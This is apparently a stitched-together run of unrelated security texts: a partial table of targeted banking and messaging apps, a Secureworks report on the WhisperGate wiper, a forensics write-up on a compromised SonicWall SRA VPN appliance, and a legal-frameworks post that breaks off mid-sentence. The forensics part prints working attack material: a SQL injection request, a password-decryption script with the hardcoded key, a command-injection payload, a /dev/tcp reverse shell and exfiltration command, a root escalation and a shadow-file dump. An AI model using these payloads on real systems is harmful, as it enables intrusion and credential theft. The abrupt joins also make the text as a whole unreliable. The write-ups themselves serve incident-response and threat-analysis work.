Bitcoin Canada | | com.td | TD Canada | | com.vancity.mobileapp | Vancity | | com.amazon.mshop.android.shopping | - | | com.instagram.android | Instagram | | com.viber.voip | Viber Messenger - Messages, Group Chats & Calls | | com.whatsapp | WhatsApp Messenger | | app.wizink.pt | Wizink, o teu banco fácil | | com.axabanque.fr | AXA Banque France | | com.bankinter.portugal.bmb | Bankinter Portugal | | com.boursorama.android.clients | Boursorama Banque | | com.caisseepargne.android.mobilebanking | Banque | | com.citi.mobile.ccc | CitiManager – Corporate Cards | | com.cm_prod.bad | Crédit Mutuel | | com.credit_coop.android.mobilebanking | Crédit Coopératif | | com.fullsix.android.labanquepostale.accountaccess | La Banque Postale | | com.ingdirectandroid | - | | com.mediolanum.android.fullbanca | Mediolanum | | fr.banquedesavoie.cyberplus | Banque de Savoie | | fr.banquepopulaire.cyberplus | Banque Populaire | | fr.banquepopulaire.cyberplus.pro | Banque Populaire PRO | | fr.bnpp.digitalbanking | Hello bank! par BNP Paribas | | fr.bnpparibasentreprise.android | Ma Banque Entreprise | | fr.bred.fr | BRED | | fr.creditagricole.androidapp | Ma Banque | | fr.creditagricole.macarteca | Ma Carte CA | | fr.hsbc.hsbcfrance | HSBC France | | fr.lcl.android.customerarea | Mes Comptes - LCL | | fr.lcl.android.entreprise | Pro & Entreprises LCL | | ma.gbp.pocketbank | Pocket Bank | | mobi.societegenerale.mobile.lappli | L’Appli Société Générale | | pt.bancobest.android.mobilebanking | Best Bank | | pt.bctt.appbctt | Banco CTT | | pt.bigonline.bigmobile | - | | pt.cgd.caderneta | Caderneta | | pt.cgd.caixadirectaempresas | Caixadirecta Empresas | | pt.eurobic.apps.mobilebanking | EuroBic Mobile App | | pt.novobanco.nbsmarter | NB smarter | | pt.oney.oneyapp | Oney Portugal | | pt.santander.oneappparticulares | Santander Portugal | | pt.santandertotta.mobileempresas | Santander Empresas | | com.facebook.katana | Facebook | | com.imo.android.imoim | imo free video calls and chat | | com.snapchat.android | Snapchat | | com.tencent.mm | WeChat | | com.twitter.android | Twitter | | com.ubercab | Uber - Request a ride | | org.telegram.messenger | Telegram | | com.facebook.orca | Messenger – Text and Video Chat for Free | | com.skype.m2 | Skype Lite - Free Video Call & Chat | | com.skype.raider | Skype - free IM & video calls | | com.spotify.music | Spotify: Listen to new music, podcasts, and songs | | com.tinder | Tinder | | us.zoom.videomeetings | ZOOM Cloud Meetings | | co.mona.android | Crypto.com - Buy Bitcoin Now | | com.a2a.android.burgan | Burgan Bank | | com.aktifbank.nkolay | N Kolay | | com.albarakaapp | Albaraka Mobile Banking | | com.anadolubank.android | Anadolubank Mobil | | com.bitcoin.mwallet | Bitcoin Wallet | | com.btcturk | BtcTurk Bitcoin Borsası | | com.fibabanka.fibabanka.mobile | - | | com.fibabanka.mobile | Fibabanka Corporate Mobile | | com.finansbank.mobile.cepsube | QNB Finansbank Mobile Banking | | com.ingbanktr.ingmobil | ING Mobil |
# Disruptive Attacks in Ukraine Likely Linked to Escalating Tensions Counter Threat Unit Research Team Geopolitical tensions likely inspired a combination of website defacements, WhisperGate wiper malware attacks, and DDoS attacks targeting organizations in Ukraine. Secureworks® Counter Threat Unit™ (CTU) researchers are investigating reports of destructive malware attacks in Ukraine. On January 15, 2022, Microsoft reported a campaign that began on January 13 and leverages the WhisperGate malware. The timing coincides with defacement of Ukrainian government websites in which the content was replaced with a claim that Ukrainians' data had been breached. Distributed denial of service (DDoS) attacks against some sites were also reported. ## Defacement Activity When the defacements were initially reported on January 14, it was unclear what data the threat actors meant. It may have referred to data destroyed by the WhisperGate destructive malware attacks, which had not been made public. As of this publication, no data leaks have been linked to these attacks. The threat actors could have been bluffing, or they could intend to leak the data in the future. In the defacement campaign, the threat actors made a crude attempt to suggest a Polish origin by referencing past conflicts between Poland and Ukraine and by injecting GPS coordinates into the EXIF data of the image. The image is not a photo and therefore would not typically contain GPS data. The coordinates map to a car park near Warsaw. The threat actors may have intended to point investigators to the adjacent General Staff of the Polish Army building. The Security Services of Ukraine (SSU) reported that over 70 government websites were attacked and that unauthorized access occurred on 10 of them. These numbers will likely change as investigations continue. The initial access vector for the defaced websites has not been confirmed, although several options are being investigated. The SSU indicated that a supply chain attack was used to obtain access to some of the websites, citing the compromise of a company that had administrative rights to the impacted websites. The company was not named, but as of this publication, the website for Ukrainian digital technologies company Kitsoft redirects to a Facebook page that states its infrastructure was involved in the attacks. Other suggested attack vectors include exploitation of October CMS and Log4j vulnerabilities. State Service of Special Communications and Information Protection of Ukraine reported that a subset of the organizations impacted by the defacement activity were also victims of the WhisperGate malware attacks. Details of the WhisperGate initial access vector and deployment mechanism are unclear as of this publication, although Microsoft stated that the threat actors used Impacket tools to execute the malware. WhisperGate is not a worm payload like the 2017 NotPetya ransomware, so the malware must be deployed and deliberately executed on every targeted host. ## WhisperGate Technical Details WhisperGate has two major components: a master boot record (MBR) wiper and a file wiper. The attackers appear to refer to these files as stage 1 (the MBR wiper) and stage 2 (the file wiper). However, these labels do not necessarily reflect the order they were executed, as the stages do not depend on each other. The MBR wiper is written in the C programming language and compiled with the MinGW compiler. CTU™ analysis indicates that parts of the MBR wiper code are common to other MBR wiper examples found on the VirusTotal analysis service. These commonalities suggest that the WhisperGate MBR wiper developers borrowed code from publicly or privately shared source code repositories. When executed, the MBR wiper overwrites the MBR with a small segment of code. The next time the computer is rebooted, the new MBR code displays a ransom message and attempts to overwrite the disk in the background using the BIOS Extended Write Sectors interrupt call. Testing on Windows 10 revealed the malware operates as designed. However, the malware caused a Windows 11 system to crash, likely due to the GUID Partition Table (GPT) scheme replacing the older MBR partition scheme in Windows 11. Despite the use of a ransom note, there is no prospect of data recovery. This malware is a destructive wiper, not ransomware. The file wiper involves a loader (Tbopbh.exe) and a packed payload (Tbopbh.jpg) that the loader downloads and executes. The loader is written in .NET. When executed, it uses a PowerShell command to sleep for 20 seconds, likely as an antivirus or sandbox evasion tactic. It then downloads the packed payload from a Discord channel. Although the payload's filename suggests that it is a JPG image file, it is a DLL file. The file byte order is reversed, likely to evade detection by host-based controls. The loader restores the byte order and then performs multiple rounds of extraction and decoding of nested resources to get to the final malicious code. The final malicious files are dropped into C:\Users\<username>\AppData\Local\Temp\. The loader attempts to disable Microsoft Defender Antivirus. The loader drops Nmddfrqqrbyjeygggda.vbs, which contains a one-line script to exclude the C:\ drive from locations monitored by Microsoft Defender Antivirus. The loader drops the AdvancedRun.exe NirSoft tool to stop the antivirus service and recursively remove its starting directory. InstallUtil.exe is copied from C:\Windows\Microsoft.NET\Framework\v4.0.30319\ and written to C:\Users\<username>\AppData\Local\Temp\. This file is used to create the host process where the final wiper payload is injected, using a technique known as process hollowing. The code also included a function that runs a command (cmd.exe /min /C ping 111.111.111.111 -n 5 -w 10 > Nul & Del /f /q "%s") that uses ping to inject a brief time delay before deleting a file. However, CTU researchers did not observe this command being run in the sandbox execution of the malware. Like the MBR wiper, the file wiper code is written in C and compiled using MinGW. The file wiper targets a hard-coded list of file extensions. It destroys data in identified files by writing 0xCC to the first 0x100000 bytes, which translates to approximately 1MB of data. The list includes file types that are not typically targeted by ransomware, such as the .602 extension used by a Czech word processor. The WCry (also known as WannaCry) ransomware targeted this extension, but there is no known connection between the two malware families. Based on analysis of additional samples that appeared to use the same loading and packing mechanism but were unrelated to WhisperGate, it is likely that the WhisperGate developers used PureCrypter or a similar crimeware crypter to generate the .NET code in both the loader (Tbopbh.exe) and the initial payload (Tbopbh.jpg) of the file wiper. Detection rules based on these components will likely match other crimeware components unrelated to WhisperGate. ## Attribution As of this publication, there is insufficient evidence to determine attribution for the Ukrainian defacement, DDoS, and wiper attacks. However, it is highly likely that they are linked to the current geopolitical tensions centered on the border between Ukraine and Russia. If tensions are not deescalated, additional cyberattacks are likely. These attacks do not have the sophistication or destructive power of previous attacks on Ukraine, such as NotPetya. The threat actors attempted to misdirect attribution using inauthentic metadata and used publicly available crimeware services and code to minimize the amount of custom code involved in the attack. ## Recommendations Organizations with operations in Ukraine should be extra vigilant and review business continuity and resilience plans. Organizations should maintain current backups of business-critical systems and data, exercise restoration processes before they are needed, and ensure that backups cannot be impacted by ransomware-style or wiper malware attacks. Organizations should also prepare for continuity of operations in the case of power disruptions or loss of other business-critical services. It is unlikely that organizations outside of Ukraine or unrelated to the political situation will be directly targeted. However, organizations should consider their exposure to collateral damage from attacks launched in Ukraine that could spread to global operations. Impacted organizations could include business partners and service providers in Ukraine that have logical access to customer networks. Applying robust network segmentation between higher risk and lower risk areas can mitigate risk. Additionally, all organizations should maintain basic security practices such as patching internet-facing systems against known vulnerabilities, implementing and maintaining antivirus solutions, and monitoring endpoint detection and response solutions. ## Threat Indicators To mitigate exposure to this malware, CTU researchers recommend that organizations use available controls to review and restrict access using the indicators listed in the table below. | Indicator | Type | Context | |------------------------------------------------------------------------------------------|--------------|-------------------------------------------| | a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92 | SHA256 | WhisperGate MBR wiper hash | | 189166d382c73c242ba45889d57980548d4ba37e | SHA1 | WhisperGate MBR wiper hash | | 5d5c99a08a7d927346ca2dafa7973fc1 | MD5 | WhisperGate MBR wiper hash | | dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78 | SHA256 | WhisperGate file wiper hash loader | | 16525cb2fd86dce842107eb1ba6174b23f188537 | SHA1 | WhisperGate file wiper hash loader | | 14c8482f302b5e81e3fa1b18a509289d | MD5 | WhisperGate file wiper hash loader | | 923eb77b3c9e11d6c56052318c119c1a22d11ab71675e6b95d05eeb73d1accd6 | SHA256 | WhisperGate file wiper hash packed payload | | b2d863fc444b99c479859ad7f012b840f896172e | SHA1 | WhisperGate file wiper hash packed payload | | b3370eb3c5ef6c536195b3bea0120929 | MD5 | WhisperGate file wiper hash packed payload | | 9ef7dbd3da51332a78eff19146d21c82957821e464e8133e9594a07d716d892d | SHA256 | WhisperGate file wiper hash packed DLL | | 82d29b52e35e7938e7ee610c04ea9daaf5e08e90 | SHA1 | WhisperGate file wiper hash packed DLL | | e61518ae9454a563b8f842286bbdb87b | MD5 | WhisperGate file wiper hash packed DLL | | Nmddfrqqrbyjeygggda.vbs | Filename | WhisperGate malware script | | Tbopbh.exe | Filename | WhisperGate file wiper loader | | Tbopbh.jpg | Filename | WhisperGate file wiper packed payload | | Frkmlkdkdubkznbkmcf.dll | Filename | WhisperGate file wiper packed DLL | If you need urgent assistance with an incident, contact the Secureworks Incident Response team. For other questions on how we can help, use our general contact form.
# VPN Appliance Forensics **Benjamin Bruppacher** During a DFIR (Digital Forensics and Incident Response) case, we encountered an ESXi Hypervisor that was encrypted by the Ransomware LockBit 2.0. Suspicious SSH logons on the Hypervisor originated from an End-of-Life VPN Appliance (SonicWall SRA 4600). It turns out, this was the initial entry point for the Ransomware attack. Follow us into the forensics analysis of this compromised device. ## Finding the Logs After isolating the VPN Appliance from the Internet and from the internal network, the customer gave us the credentials for the web-based administration interface. Unfortunately, all log listings in the graphical interfaces were almost empty. After sifting through all the available features, we found an interesting Tech Support Report feature under System > Diagnostics. The feature downloads a ZIP file containing interesting logs of the system and an export of its configuration: - status.txt - persist.db.log.1 - mcd.log.1 - eventlog.1 - geoBotD.log.1 - tunneld.conf - tunneld.log - vmctl.log - wafStats.db.log - smtp.conf - sonicfiles.log - sso_proxy.log - temp.db.log - settings.json - smm.log - mcd.log - nxlog.log - persist.db.log - kernel.log - logrotate.conf - logrotateVA.conf - httpd.log - httpd.log.1 - geoBotD.log - ha.log - html5Client.log - examples.db.log - firebase.conf - firebase.log - ftpd.log - dhcpc.log - dtls.log - eventlog - boot.log - clientsDownload.log These logs hold very valuable information, if and only if the system was not shut down. The following files in particular were of interest: ### eventlog The eventlog records successful and failed logins on both the VPN and the web interface. The following information is also recorded: - timestamp - username - source IP address ``` Nov 26 11:26:26 sslvpn SSLVPN: id=sslvpn sn=[CUT-BY-COMPASS] time="2021-11-26 09:26:26" vp_time="2021-11-26 09:26:26 UTC" fw=10.100.132.2 pri=5 m=1 c=1 src=[CUT-BY-COMPASS] dst=[CUT-BY-COMPASS] user="xyz" usr="xyz" msg="User login successful" portal="VirtualOffice" domain="[CUT-BY-COMPASS]" agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36" Nov 26 11:28:02 sslvpn SSLVPN: id=sslvpn sn=[CUT-BY-COMPASS] time="2021-11-26 09:28:02" vp_time="2021-11-26 09:28:02 UTC" fw=10.100.132.2 pri=5 m=1 c=1 src=[CUT-BY-COMPASS] dst=[CUT-BY-COMPASS] user="xyz" usr="xyz" msg="User login successful" portal="VirtualOffice" domain="[CUT-BY-COMPASS]" agent="SonicWALL NetExtender for Windows 10.2.315 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1)" Nov 26 11:28:05 sslvpn SSLVPN: id=sslvpn sn=[CUT-BY-COMPASS] time="2021-11-26 09:28:05" vp_time="2021-11-26 09:28:05 UTC" fw=10.100.132.2 pri=5 m=0 c=1200 src=[CUT-BY-COMPASS] dst=10.100.132.2 user="xyz" usr="xyz" msg="Start NetExtender connection" agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0" Nov 26 11:28:05 sslvpn SSLVPN: id=sslvpn sn=[CUT-BY-COMPASS] time="2021-11-26 09:28:05" vp_time="2021-11-26 09:28:05 UTC" fw=10.100.132.2 pri=5 m=0 c=1200 src=[CUT-BY-COMPASS] dst=10.100.132.2 user="Proxy" usr="Proxy" msg="23717:Returning 200 OK Status" agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0" Nov 26 11:28:06 sslvpn SSLVPN: id=sslvpn sn=[CUT-BY-COMPASS] time="2021-11-26 09:28:06" vp_time="2021-11-26 09:28:06 UTC" fw=10.100.132.2 pri=5 m=18 c=101 src=[CUT-BY-COMPASS] dst=[CUT-BY-COMPASS] user="xyz" usr="xyz" msg="NetExtender connected" rule=access-policy proto=NetExtender agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0" Nov 27 11:07:39 sslvpn SSLVPN: id=sslvpn sn=C0EAE4915E4C time="2021-11-27 10:07:39" vp_time="2021-11-27 10:07:39 UTC" fw=10.100.132.2 pri=5 m=3 c=3 src=10.100.132.55 dst=10.100.132.2 user="asd" usr="asd" msg="Login failed - Incorrect username/password" agent="Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:93.0) Gecko/20100101 Firefox/93.0" Nov 27 11:35:43 sslvpn SSLVPN: id=sslvpn sn=C0EAE4915E4C time="2021-11-27 10:35:43" vp_time="2021-11-27 10:35:43 UTC" fw=10.100.132.2 pri=5 m=1 c=1 src=10.100.132.55 dst=10.100.132.2 user="admin" usr="admin" msg="User login successful" portal="VirtualOffice" domain="LocalDomain" agent="Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:93.0) Gecko/20100101 Firefox/93.0" ``` ### mcd.log The mcd.log records successful VPN connections. The following information is also recorded: - assigned IP address from the VPN IP address pool - username - source IP address from where the connection was established ``` 2021-11-26 09:28:06:mcd 23888: MCD launched [RIP:10.100.132.100;UNAME:xyz;CIP:[CUT-BY-COMPASS]] 2021-11-26 09:28:08:mcd 23888: SSL VPN: Connected 2021-11-26 10:11:08:mcd 23888: Signal Recd (2). Exiting... 2021-11-26 10:11:08:mcd 23888: Cleaned up routes and proxy arp 2021-11-26 10:11:08:mcd 23888: NxSession sync'd up 2021-11-26 10:11:08:mcd 23888: Stat files cleaned up 2021-11-26 10:11:08:mcd 23888: MCD shutdown. ``` This log went back to the last start of the system, therefore giving a very long audit trail. ### httpd.log The httpd.log records requests to the web server. This included traces of used exploit techniques. We will now dive into these. ## Reconstructing the Attack Through analysis of the event logs, suspicious logons could be identified. The source IP address was located in countries where the customer had no employees and the logon times were unusual and matched with the Ransomware attack. However, it was at first not clear if the attacker obtained credentials through phishing or through a vulnerability in the VPN appliance. The appliance was not on the company’s inventory and therefore they were not aware that an EOL device was running in their network. Hence we searched online to see if there were known flaws in this particular firmware version. ### Unauthenticated SQL Injection The used firmware was vulnerable to an unauthenticated SQL injection, that allows reading cached credentials of active sessions from the database. For more information about this issue, check the writeup by Crowdstrike. SonicWall issued a patch for this issue. However, because the SRA 4600 appliance is considered End-of-Life, no firmware upgrade was released for the device. The leaked cached credentials are plaintext VPN user passwords, encrypted with a key that is hardcoded in the appliance's firmware. The following request was crafted based on the vulnerability writeup. It allowed us to test the exploitability against the SRA appliance: ``` POST /cgi-bin/supportInstaller HTTP/1.1 Host: 10.100.132.2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 126 fromEmailInvite=1&customerTID="impossible'+UNION+SELECT+0,0,userType,userName,0,passwo -" ``` If there is a session on the device, the encrypted password is returned in the supportcode JavaScript variable: ``` HTTP/1.1 200 OK Date: Fri, 26 Nov 2021 14:40:21 GMT Server: SonicWALL SSL-VPN Web Server X-FRAME-OPTIONS: SAMEORIGIN X-XSS-Protection: 1; mode=block Content-Security-Policy: script-src https://*.duosecurity.com 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'self'; style-src 'self' 'unsafe-inline' Referrer-Policy: strict-origin X-Content-Type-Options: nosniff Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 3141 ``` The encrypted password can be decrypted using a simple Python script (based on the CrowdStrike writeup): ```python # use python3 and pip install pycryptodomex from Cryptodome.Cipher import DES def des_decrypt(ct): key = b'\x2f\x4f\x2a\x86\xd5\x52\xf8\x80' cipher = DES.new(key, DES.MODE_CBC, iv=b'\x00'*8) return cipher.decrypt(ct) def decrypt_hex_to_str(h): pt = des_decrypt(bytes.fromhex(h)) return pt.rstrip(b'\x00').decode() password_enc = '2D0A5C61578B2D70FEA65F4C5868A8DAA2ECB2DB9D203EEE' password = decrypt_hex_to_str(password_enc) print(password) ``` If there is no valid session, an HTTP error 500 is returned. This server error leaves valuable evidence in the httpd.log: ``` [Fri Nov 26 11:19:44 2021] [error] [client 10.100.132.55] Premature end of script headers: supportInstaller ``` This can be used as an IOC (Indicator of compromise), as attackers likely enumerate all active sessions and trigger this error. The logs of the appliance we looked at had these entries occurring periodically. This indicates the attackers were regularly collecting plaintext passwords over a longer period of time. ### Authenticated OS Command Injection Another log entry in the httpd.log caught our attention: ``` httpd.log:[Fri Nov 26 11:36:21 2021] [error] [client 10.100.132.55] sh: line 4: syntax error near unexpected token `(', referer: https://10.100.132.2/ httpd.log:[Fri Nov 26 11:36:21 2021] [error] [client 10.100.132.55] sh: line 4: `HTTP_USER_AGENT=Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:93.0) Gecko/20100101 Firefox/93.0', referer: https://10.100.132.2/ ``` This hints at a failed command injection with the user agent header involved. Several GitHub repositories with exploits for similar vulnerabilities can be found: - https://github.com/darrenmartyn/visualdoor - https://github.com/0xf4n9x/SonicWall_SSL-VPN_EXP However, the URL paths used in these exploits returned an HTTP 404 error on the analyzed SRA. This means the appliance is probably not vulnerable to this vulnerability. So, the hunt goes on… After analyzing the configuration some more, we found a hint in the Bookmarks configuration. Bookmarks can be used to configure a link to a service in the internal network: SSH, RDP, SMB for instance. These links are then available on the SSL VPN “Virtual Office” web portal and can be accessed easily by end-users through the browser. Here the attackers seemed to exploit a command injection vulnerability in the MAC address field of a Wake-On-Lan feature of the RDP Bookmark. There is actually an input validation that prohibits the creation of such arbitrary MAC addresses, but it is only implemented in client-side JavaScript. This can therefore be bypassed easily, for example by submitting the form manually with the JavaScript debug console: The payload `0a:00:27:00:00:01`env|sh` executes the env command in a subshell. This prints all environment variables and pipes it into the shell sh, therefore interpreting and executing all environment variables as shell commands. Because the Wake-On-Lan command is executed in a cgi-bin environment, the env command prints the following variables: ``` SERVER_SIGNATURE= HTTP_SEC_FETCH_DEST=document HTTP_USER_AGENT=Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0 SERVER_PORT=443 HTTP_HOST=10.100.132.2 DOCUMENT_ROOT=/usr/src/EasyAccess/www/htdocs SCRIPT_FILENAME=/usr/src/EasyAccess/www/cgi-bin/tscbookmark HTTPS=on REQUEST_URI=/cgi-bin/tscbookmark?method=html5&bmId=10&swcctn=1[CUT BY COMPASS] SCRIPT_NAME=/cgi-bin/tscbookmark SCRIPT_URI=https://10.100.132.2/cgi-bin/tscbookmark HTTP_CONNECTION=close REMOTE_PORT=37872 WAF_NOT_LICENSED=1 PATH=/bin:/sbin:/usr/bin:/usr/sbin HTTP_TE=trailers _=/usr/bin/env SCRIPT_URL=/cgi-bin/tscbookmark ``` Most of them are interpreted as valid shell statements; they define shell variables. On the line that starts with HTTP_USER_AGENT, spaces break the shell statement and trigger an error in the log that can be used as an IOC: ``` [Thu Dec 16 11:40:36 2021] [error] [client 10.100.132.55] sh: line 4: syntax error near unexpected token `(', referer: https://10.100.132.2/ [Thu Dec 16 11:40:36 2021] [error] [client 10.100.132.55] sh: line 4: `HTTP_USER_AGENT=Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0', referer: https://10.100.132.2/ ``` Because the User-Agent header is under control of the attacker, they can inject shell commands by inserting malicious values in the request that trigger the execution of the Wake-On-Lan command. To trigger the vulnerability, the bookmark is clicked on the “Virtual Office” portal of the corresponding user. Multiple requests are sent to the server. The one of interest is the request to `/cgi-bin/tscbookmark`. Here, a reverse shell is started: ``` GET /cgi-bin/tscbookmark?method=html5&bmId=10&swcctn=1[CUT BY COMPASS]Z HTTP/1.1 Host: 10.100.132.2 Cookie: [CUT BY COMPASS] User-Agent: bla;bash -i >& /dev/tcp/10.100.132.55/12345 0>&1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://10.100.132.2/ Te: trailers Connection: close ``` Because bookmarks can be created by standard SSL VPN users, this attack can be used to elevate privileges and extract the appliance configuration that holds interesting information and potentially other credentials. The vulnerability seems not to be exploitable without prior authentication. ## Analyzing the SRA System The next important step was to check the system in depth to see which credentials were stored and potentially could be obtained by the attacker. ### Elevating Privileges to root The analysis was performed through the reverse shell obtained with the OS command injection vulnerability. This shell is running under user nobody. This means not all files on the system can be accessed: ``` $ nc -l 12345 bash: no job control in this shell bash-4.2$ whoami nobody ``` To overcome this issue, a privilege escalation was performed on the system to obtain root rights. We searched for executables writable by everyone with the command `find . -type f -perm 777 2>/dev/null` and found a shell script that is invoked automatically by the root user when accessing certificate management on the admin interface: ``` lrwxrwxrwx 1 root nobody 21 Feb 11 2021 /etc/EasyAccess/var/cert/password.sh -> newcert-3/password.sh -rwxrwxrwx 1 root root 21 Dec 16 15:21 /etc/EasyAccess/var/cert/newcert-3/password.sh ``` The content of the script was replaced with a reverse shell payload and was invoked by accessing the certificate management on the admin interface. The obtained reverse shell was running with root permissions: ``` $ nc -l 9876 bash: no job control in this shell bash-4.2# whoami root ``` Note that this backdoor is persisted over reboots. ### Finding Stored Credentials The administrative web application is run as a cgi-bin based application. The callable endpoints are located in the folder `/usr/src/EasyAccess/www/cgi-bin`. They are small compiled binaries that call the main logic of the SRA in the shared library located at `/lib/libSys.so`. To store data, a persistent (`/etc/EasyAccess/var/conf/persist.db`) and a non-persistent (`/tmp/temp.db`) SQLite database is used. All these files can be exfiltrated, for instance by sending them to a remote host via TCP (`cat /tmp/temp.db > /dev/tcp/10.100.132.55/23456`) or encoding/decoding them with base64 to stdout (`openssl base64 -in temp.db`). The `temp.db` contains the session credentials that could be exfiltrated with the SQL Injection attack described above. The `persist.db` is storing the application's configuration. It can also be exported in JSON format (named `settings.json`) in the diagnostic export or in the settings export feature on the admin interface. Credentials used to connect to the Active Directory (AD) were found in the Domains_AD table. The password is encrypted with the same hardcoded key as for the sessions above and therefore must be seen as compromised. Other credentials named `securePasswd` were found in the Users table: By inspecting the related code in `libSys.so`, it was found that this data is generated by the password hashing function PKCS5_PBKDF2_HMAC using a hardcoded salt, 256-bit key, and 12800 iterations. An attacker can’t reverse the key-derivation function, but can perform offline brute force attacks. However, this is slow due to the algorithm and the used iterations. Therefore, we assumed the attacker did not have access to the cleartext credentials. Lastly, the root password was found in the `/etc/shadow` file, hashed using a simple Linux MD5 algorithm: ``` bash-4.2# cat /etc/shadow root:$1$nRh/kvy.$QGgtuH.UQBnBpu0IuL9ze.:13983:0:99999:7::: bin:x:13937:0:99999:7::: daemon:x:13937:0:99999:7::: mail:x:13937:0:99999:7::: squid:x:13937:0:99999:7::: ntp:x:13937:0:99999:7::: sshd:x:13937:0:99999:7::: nobody:x:13937:0:99999:7::: snort:x:13937:0:99999:7::: logwatch:x:13937:0:99999:7::: dnsmasq:x:13937:0:99999:7::: cron:x:13937:0:99999:7::: admin::13937:0:99999:7::: ``` Bruteforcing it with John the Ripper showed that the password was “password”. This may be a factory default, but is not exploitable, since the root user can’t be used to log on to the system. ## Searching for Malicious Activity Unfortunately, it was not possible to reconstruct what commands the attacker executed on the system. No signs of persistence or malicious activity were detected by quickly analyzing the filesystem timestamps (searching for recently created files) or the running processes over the root shell. However, we did not perform a thorough analysis of the system. ## Takeaways These forensic evidences helped during the analysis of the Ransomware attack, as it allowed defining good IOCs which could be searched for on the corporate systems: - Date and time when attacks were performed, obtained from the SRA logs. - Internal IP address of the SRA itself and the IP address range of the VPN pool obtainable in the configuration. - Suspicious external IP addresses used to connect to the SRA obtainable from the SRA log data. - Compromised accounts identified through VPN logons from suspicious IP addresses in the SRA log data. - Potentially compromised accounts where credentials were stored on the SRA with the reversible DES encryption. Generally, the following actions can be recommended if a VPN appliance is found to be compromised: - Don’t reboot the appliance; important information will be lost. Rather isolate the system, so that no inbound and outbound connection to untrusted or sensitive systems are possible. - Replace the VPN appliance if it is End-of-Life! Specifically for SonicWall SRA, the following actions can help during a forensic investigation: - Perform the diagnostics export, analyze the logs, and check for stored credentials that can be easily decrypted. - Perform the reverse shell attack to export the `temp.db` and check for stored credentials that can be easily decrypted. (No root shell access is required for this, as the database is readable by the nobody user.) ## Notes on Lockbit 2.0 Ransomware The attackers abused the SRA vulnerability to gain access to the customer's network. The compromised users were AD users and could be used to log on to other Windows systems. Through Windows credentials dumping, they obtained the Domain Admin credentials, which unfortunately were the same used for the root user of the ESXi server. Therefore, the attackers were able to log on to the ESXi Hypervisor and ran the LockBit 2.0 Ransomware. They left the following file named `!!!-Restore-My-Files-!!!` that threatens the customer to leak its data and also contains an interesting advertisement for future criminals. It claims LockBit 2.0 to be the fastest ransomware: ``` ~~~ LockBit 2.0 the fastest ransomware in the world ~~~ >>>> Your data are stolen and encrypted The data will be published on TOR website if you do not pay the ransom [CUT BY COMPASS] >>>> Advertisement Would you like to earn millions of dollars $$$ ? Our company acquires access to networks of various companies, as well as insider information that can help you steal the most valuable data of any company. You can provide us accounting data for the access to any company, for example, login and password to RDP, VPN, corporate email, etc. Open our letter at your email. Launch the provided virus on any computer in your company. You can do it both using your work computer or the computer of any other employee in order to divert suspicion of being in collusion with us. Companies pay us the foreclosure for the decryption of files and prevention of data leak. [CUT BY COMPASS] ``` Indeed, after checking the timestamps of the Lockbit files, it turned out that the attacker only required 5 minutes to encrypt all files. Fully encrypting all VMDKs of an ESXi Hypervisor should require more time, so we checked the encryption of the VMDKs and of some log files that had the `.lockbit` suffix appended to them. Quickly running the command `strings` or opening the files in an editor showed that major parts of the files were not encrypted. Here are some entropy analyses performed with Detect It Easy: - Log file: - VMDK: On the VMDK, there seemed to be no encryption at all. It was possible to use 7Zip to extract the VMDK, mount the raw partition image, and perform a forensic analysis of the data. That would not have been possible with a fully encrypted VMDK. Even if partial encryption is used, as for the log file, it would be possible to recover evidence from these images by file carving for forensic artifacts like Windows event logs. We therefore recommend always checking the entropy of encrypted files.
# Legal and Cooperation Frameworks between CSIRTs and Law Enforcement Agencies For a recent assignment, I had to summarise some of the legislation and cooperation frameworks that exist between CSIRTs and law enforcement agencies. This list is certainly not complete but already gives you an overview of what’s available. I first list the frameworks and then provide an overview of some of the existing cooperation mechanisms. ## Legal Frameworks ### Council of Europe Convention on Cybercrime (Budapest, ETS No 185) **2001 – International** This convention, also known as the Budapest Convention, is the first international treaty to address Internet and computer crime. The treaty focused on harmonising laws and increasing cooperation across borders so that cybercrime could be prosecuted in the countries affected. The treaty had three main objectives: - Harmonising national laws that dealt with cyber-related crime. - Supporting the investigation of cyber-related crimes. - Increasing international cooperation in the fight against cybercrime. ### Directive on Attacks Against Information Systems (2013/40) **2013 – Europe** This directive imposes new obligations, tasks, and expectations on certain key stakeholders, including CERTs/CSIRTs, LEAs, security specialists, and telecommunications service providers. These relate mainly to the operation of the existing 24/7 contact points (introducing a response deadline obligation within 8 hours), improving criminal justice/police cooperation, and the obligation to strengthen statistical data collection in order to support accountability and rational policy making. The Directive is well known because it establishes the criminalisation of certain tools for committing offenses. This is a directive, which needs to be transposed into national law in all individual member states of Europe. ### Directive on Processing Personal Data for Prevention, Investigation, Detection or Prosecution of Criminal Offences (2016/680) **2016 – Europe** This directive regulates the processing of data by police and criminal justice authorities in the EU. The Directive requires the data collected by law enforcement authorities to be processed lawfully and fairly, collected for specified, explicit, and legitimate purposes. The data can also only be kept in a form that allows identification of the individual for no longer than is necessary. The Directive requires that the law enforcement authorities make a clear distinction between the data of different categories of persons. This 